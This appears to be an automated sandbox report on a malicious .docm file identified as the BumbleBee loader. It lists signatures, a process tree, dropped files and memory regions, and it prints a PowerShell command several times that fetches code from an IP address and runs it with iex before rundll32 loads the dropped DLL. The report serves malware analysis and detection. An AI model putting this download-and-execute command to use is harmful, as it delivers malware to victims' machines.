Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/03/2024, 09:25

General

  • Target
    434775.docm
  • Size 53KB
  • Sample240320-ldtzmsde38
  • SHA256 8b0ef4e50ddad2036e3d85e87a0cd53e3ae0a436ea4fff99fd4ddb845e4f265f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • bumblebee

Botnet
  • asd123

rc4.plain

Signatures

  • BumbleBee

    BumbleBee is a loader malware written in C++.

  • Process spawned unexpected child process 5 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 5 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\434775.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3836
  • C:\Windows\system32\wscript.exe
    wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radE9EA1.tmp
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3212
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\w_ver.dll DllRegisterServer
        3⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        PID:4056
  • C:\Windows\system32\wscript.exe
    wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radF05C2.tmp
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\w_ver.dll DllRegisterServer
        3⤵
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        PID:1208
  • C:\Windows\system32\wscript.exe
    wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\rad67B23.tmp
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\w_ver.dll DllRegisterServer
        3⤵
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        PID:4516
  • C:\Windows\system32\wscript.exe
    wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radF2D91.tmp
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\w_ver.dll DllRegisterServer
        3⤵
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        PID:2616
  • C:\Windows\system32\wscript.exe
    wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\radD1B37.tmp
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.121.17.93/update_ver')|iex"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\w_ver.dll DllRegisterServer
        3⤵
        • Loads dropped DLL
        PID:2864

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 78a4d72e5865388ec2797f56713d32f0feef5c1ff4e006c265a559e5c890a8c4
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1c3adec7c91bcd8c7d7c35f637ec8ee3a433b966e6f5c9fcc5529726b5c2bfd4
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 cce07c5394ccce0eb2be9afc08b6359c1675625de30c3f479ffd445c36076dd2
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 482616556214a15c5d65c10a5fd0130f11562536b9d2d9efa30fb59734ac52bc
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_zcbayobi.stc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zcbayobi.stc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        radE9EA1.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\radE9EA1.tmp
        • Size 237B
        • SHA256 243f6e690985e84e9056fa67850920281431fe76c368ae9ef72a241c5594ea5d
        • MD5 SHA1 SHA512

        w_ver.dll

        • Path C:\Users\Admin\AppData\Local\Temp\w_ver.dll
        • Size 3.8MB
        • SHA256 d511b138363d9308f3e78731a6aab1e8860cca3e4b77120bc5d2d9d947632a36
        • MD5 SHA1 SHA512 SSDEEP

        ExcludeDictionaryEN0409.lex

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex
        • Size 2B
        • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
        • MD5 SHA1 SHA512

        memory/1208-136-0x000002AE73220000-0x000002AE73457000-memory.dmp

        memory/1208-137-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/1208-135-0x000002AE73460000-0x000002AE73678000-memory.dmp

        memory/1208-138-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/1208-139-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/1208-140-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/1208-141-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/2616-193-0x0000027A0A4A0000-0x0000027A0A6B8000-memory.dmp

        memory/2824-134-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/2824-131-0x000001BA5DDC0000-0x000001BA5DDD0000-memory.dmp

        memory/2824-130-0x000001BA5DDC0000-0x000001BA5DDD0000-memory.dmp

        memory/2824-127-0x000001BA5DDC0000-0x000001BA5DDD0000-memory.dmp

        memory/2824-126-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/3212-94-0x0000029A7EFA0000-0x0000029A7EFB0000-memory.dmp

        memory/3212-87-0x0000029A7EEE0000-0x0000029A7EF02000-memory.dmp

        memory/3212-102-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/3212-95-0x0000029A7FD20000-0x0000029A804C6000-memory.dmp

        memory/3212-93-0x0000029A7EFA0000-0x0000029A7EFB0000-memory.dmp

        memory/3212-92-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/3836-19-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-9-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-64-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-65-0x00000169BA390000-0x00000169BA790000-memory.dmp

        memory/3836-66-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-78-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-79-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-21-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-80-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-62-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-17-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-61-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-22-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-0-0x00007FFE56410000-0x00007FFE56420000-memory.dmp

        memory/3836-43-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-20-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-42-0x00000169BA390000-0x00000169BA790000-memory.dmp

        memory/3836-2-0x00007FFE56410000-0x00007FFE56420000-memory.dmp

        memory/3836-1-0x00007FFE56410000-0x00007FFE56420000-memory.dmp

        memory/3836-4-0x00007FFE56410000-0x00007FFE56420000-memory.dmp

        memory/3836-161-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-5-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-3-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-7-0x00007FFE56410000-0x00007FFE56420000-memory.dmp

        memory/3836-6-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-112-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-34-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-18-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-63-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-15-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-125-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-128-0x00000169BFAF0000-0x00000169C0AC0000-memory.dmp

        memory/3836-14-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-13-0x00007FFE54150000-0x00007FFE54160000-memory.dmp

        memory/3836-11-0x00007FFE54150000-0x00007FFE54160000-memory.dmp

        memory/3836-12-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-10-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-16-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/3836-8-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4008-160-0x0000017132950000-0x0000017132960000-memory.dmp

        memory/4008-164-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/4008-159-0x0000017132950000-0x0000017132960000-memory.dmp

        memory/4008-146-0x00007FFE67C70000-0x00007FFE68731000-memory.dmp

        memory/4008-150-0x0000017132950000-0x0000017132960000-memory.dmp

        memory/4008-155-0x0000017132950000-0x0000017132960000-memory.dmp

        memory/4056-106-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-110-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-109-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-158-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-108-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-107-0x000002272E360000-0x000002272E578000-memory.dmp

        memory/4056-105-0x00007FFE96390000-0x00007FFE96585000-memory.dmp

        memory/4056-104-0x000002272E120000-0x000002272E357000-memory.dmp

        memory/4056-103-0x000002272E360000-0x000002272E578000-memory.dmp

        memory/4516-165-0x000001B0639A0000-0x000001B063BB8000-memory.dmp

        memory/4516-166-0x000001B063760000-0x000001B063997000-memory.dmp

        memory/4516-167-0x00007FFE96390000-0x00007FFE96585000-memory.dmp